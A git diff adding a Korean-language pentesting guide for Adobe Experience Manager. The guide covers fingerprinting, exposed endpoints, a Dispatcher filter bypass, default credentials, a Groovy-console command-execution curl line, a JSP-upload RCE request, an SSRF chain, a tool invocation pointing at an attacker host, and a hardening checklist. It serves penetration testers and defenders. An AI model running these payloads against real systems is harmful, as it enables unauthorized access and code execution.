diff --git a/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md b/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md index cf4a6db61..baa7fa8bc 100644 --- a/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md +++ b/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md @@ -1,5 +1,117 @@ -{{#include ../../banners/hacktricks-training.md}} - -취약점과 잘못된 구성을 찾으세요 [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker) +# AEM (Adobe Experience Manager) Pentesting {{#include ../../banners/hacktricks-training.md}} + +> Adobe Experience Manager (AEM, Adobe Experience Cloud의 일부)는 Apache Sling/Felix (OSGi) 및 Java Content Repository (JCR) 위에서 실행되는 기업 CMS입니다. +> 공격자의 관점에서 AEM 인스턴스는 종종 위험한 개발 엔드포인트, 약한 Dispatcher 규칙, 기본 자격 증명 및 매 분기 패치되는 긴 CVE 목록을 노출합니다. + +아래 체크리스트는 실제 참여에서 계속 나타나는 **외부에서 접근 가능한 (unauth) 공격 표면**에 중점을 둡니다 (2022-2025). + +--- + +## 1. Fingerprinting +``` +$ curl -s -I https://target | egrep -i "aem|sling|cq" +X-Content-Type-Options: nosniff +X-Dispatcher: hu1 # header added by AEM Dispatcher +X-Vary: Accept-Encoding +``` +기타 빠른 지표: +* `/etc.clientlibs/` 정적 경로 존재 (JS/CSS 반환). +* `/libs/granite/core/content/login.html` “Adobe Experience Manager” 배너가 있는 로그인 페이지. +* `` HTML 하단의 주석. + +--- + +## 2. 높은 가치의 인증되지 않은 엔드포인트 + +경로 | 얻는 것 | 비고 +---- | ------------- | ----- +`/.json`, `/.1.json` | **DefaultGetServlet**를 통한 JCR 노드 | 종종 차단되지만, *Dispatcher 우회* (아래 참조) 작동. +`/bin/querybuilder.json?path=/` | QueryBuilder API | 페이지 트리, 내부 경로, 사용자 이름 유출. +`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix 콘솔 | 기본적으로 403; 노출되고 자격 증명이 발견되면 ⇒ 번들 업로드 RCE. +`/crx/packmgr/index.jsp` | 패키지 관리자 | 인증된 콘텐츠 패키지 → JSP 페이로드 업로드 허용. +`/etc/groovyconsole/**` | AEM Groovy 콘솔 | 노출되면 → 임의의 Groovy / Java 실행. +`/libs/cq/AuditlogSearchServlet.json` | 감사 로그 | 정보 유출. +`/libs/cq/ui/content/dumplibs.html` | ClientLibs 덤프 | XSS 벡터. + +### Dispatcher 우회 트릭 +대부분의 프로덕션 사이트는 *Dispatcher* (리버스 프록시) 뒤에 위치합니다. 그 필터 규칙은 허용된 정적 확장을 **세미콜론 또는 인코딩된 새 줄** 뒤에 추가하여 우회할 수 있습니다: +``` +GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1 +``` +단일 요청은 종종 이메일 주소가 포함된 사용자 프로필 노드를 공개합니다. P-T Partners는 이 취약점에 대한 좋은 지침을 발표했습니다. 【】 + +--- + +## 3. 일반적인 잘못된 구성 (2025년에도 여전히 존재) + +1. **익명 POST 서블릿** – `POST /.json`에 `:operation=import`를 사용하면 새로운 JCR 노드를 생성할 수 있습니다. Dispatcher에서 `*.json` POST를 차단하면 해결됩니다. 【】 +2. **모두가 읽을 수 있는 사용자 프로필** – 기본 ACL이 `/home/users/**/profile/*`에 대해 모든 사용자에게 `jcr:read` 권한을 부여합니다. +3. **기본 자격 증명** – `admin:admin`, `author:author`, `replication:replication`. +4. **WCMDebugFilter** 활성화 ⇒ `?debug=layout`을 통한 반사형 XSS (CVE-2016-7882, 여전히 레거시 6.4 설치에서 발견됨). +5. **노출된 Groovy 콘솔** – Groovy 스크립트를 전송하여 원격 코드 실행: +```bash +curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json +``` + +--- + +## 4. 최근 취약점 (서비스 팩 주기) + +분기 | CVE | 영향 받는 버전 | 영향 +------- | --- | -------- | ------ +2024년 12월 | **CVE-2024-43711** | 6.5.21 및 이전 | 부적절한 입력 검증 → **임의 코드 실행** (저권한 인증 필요). 【】 +2024년 12월 | CVE-2024-43724/26 | 6.5.21 및 이전 | Move Page Wizard에서 DOM / 저장된 XSS. 【】 +2023년 12월 | CVE-2023-48452/68 | ≤ 6.5.18 | 조작된 URL을 통한 DOM 기반 XSS. 【】 +2022년 12월 | CVE-2022-30683 | ≤ 6.5.13 | 암호 설계 결함 → 비밀 복호화 (저권한 자격 증명 필요). 【】 + +항상 고객의 서비스 팩에 맞는 *APSB* 게시판을 확인하고 최신 **6.5.22** 또는 *Cloud Service 2024.11*을 요청하세요. + +--- + +## 5. 악용 스니펫 + +### 5.1 Dispatcher 우회 + JSP 업로드를 통한 RCE +익명 쓰기가 가능하다면: +``` +# 1. Create a node that will become /content/evil.jsp +POST /content/evil.jsp;%0aa.css HTTP/1.1 +Content-Type: application/x-www-form-urlencoded + +:contentType=text/plain +jcr:data=<% out.println("pwned"); %> +:operation=import +``` +이제 `/content/evil.jsp`를 요청하세요 – JSP는 AEM 프로세스 사용자로 실행됩니다. + +### 5.2 SSRF에서 RCE로 (역사적 < 6.3) +`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console` +**aem-hacker**의 `aem_ssrf2rce.py`는 전체 체인을 자동화합니다. 【】 + +--- + +## 6. 도구 + +* **aem-hacker** – 스위스 아미 Enumeration 스크립트, 디스패처 우회, SSRF 탐지, 기본 자격 증명 확인 등을 지원합니다. +```bash +python3 aem_hacker.py -u https://target --host attacker-ip +```【】 +* **Content Brute-force** – 숨겨진 구성 요소를 발견하기 위해 `/_jcr_content.(json|html)`를 재귀적으로 요청합니다. +* **osgi-infect** – 자격 증명이 있는 경우 `/system/console/bundles`를 통해 악성 OSGi 번들을 업로드합니다. + +--- + +## 7. 강화 체크리스트 (보고서 권장 사항용) + +1. **최신 누적 서비스 팩**(2025년 7월 기준: 6.5.22)에서 인스턴스를 유지합니다. +2. 기본 계정을 제거/회전하고 SSO/SAML을 시행합니다. +3. **디스패처 필터**를 강화합니다 – 익명 사용자에 대해 `;`, 인코딩된 줄 바꿈 및 `*.json` 또는 `*.querybuilder.json`을 거부합니다. +4. IP 허용 목록으로 콘솔(`/system/console`, `/crx/*`, `/etc/groovyconsole`)을 비활성화하거나 보호합니다. +5. Adobe에서 제공하는 *익명 권한 강화* 패키지를 적용합니다. + +## 참조 + +* Adobe 보안 게시판 APSB24-69 – “Adobe Experience Manager에 대한 보안 업데이트(2024년 12월)”. +* 0ang3el – aem-hacker 도구 (GitHub). +{{#include ../../banners/hacktricks-training.md}}